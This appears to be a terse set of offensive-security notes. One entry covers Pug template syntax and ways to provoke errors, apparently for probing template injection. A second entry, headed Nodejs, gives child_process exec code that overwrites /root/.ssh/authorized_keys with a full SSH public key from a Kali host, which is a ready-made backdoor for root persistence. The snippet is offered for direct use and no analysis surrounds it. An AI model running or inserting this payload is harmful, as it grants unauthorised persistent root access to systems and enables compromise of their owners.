• Pug Template Engine

    Pug (pre­vi­ous­ly known as Jade) is a JavaScript tem­plate engine, used with node­js or express applications. Show­ing a val­ue of a vari­able: (Impor­tant: With­out a “HTML func­tion” like p, there is noth­ing to show) p #{name} The input state­ment cre­ates a hid­den field: input(type='hidden' name='secret' value='42') Pro­voke an error: #{"a" * 5} // Should produce an error#{"5" *…

  • Nodejs

    Exe­cute command: const { exec } = require("child_process"); exec(“echo ‘ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHGb9AwdEdyFm6SBuQeCWyKMh+CRXlMMb4l1GKlB8rnWoIzVClRfeWZnYzkBG487Mhb3svrd/ouVpXKWsFiAFSl5OJie88WJGTWc+3sU3I/TvuTbDgrqWwUMpPZj0jYgq99iaQeJDNPjKTs3w0QEq7GT1q69DU3m1jDCggdHYzMMA8byVXpCUivN1o4tkABhqSeUeZgW2Q9n2NxKkHGNvbkAoutFho1g8azgvnHI9HOExd81ppdzuAVC/YOTRtUKIB3ZNnfYS1qE7xp4fn7a/BEA+N8Axl0aaXLVLi2/RI+nwotdDb/vDXotS2X6B781xE9JboCRvJzejACszlMcI3bPq+R6UY3XILHDl3jpY70IFrpmX/aeUZ4d8m6A79EwyaQuckyU5eTVx7BH/RwH7hmtd7DR6VcxqNzteI49Yq8HwpyBU62I2AmnMuEXEvcPQLiM4947I3pxyZkYtZ5kULcXuWTMOITvPrFNuzwwPW1x3NbR+EnSbLtk8Ybr5iDyM= root@imac2019-kali’ > /root/.ssh/authorized_keys”, (error, std­out, stderr) => {    if (error) {        console.log(‘error: ${error.message}‘);        return;    }    if (stderr) {        console.log(‘stderr: ${stderr}‘);        return;    }    console.log(‘stdout: ${std­out}‘);});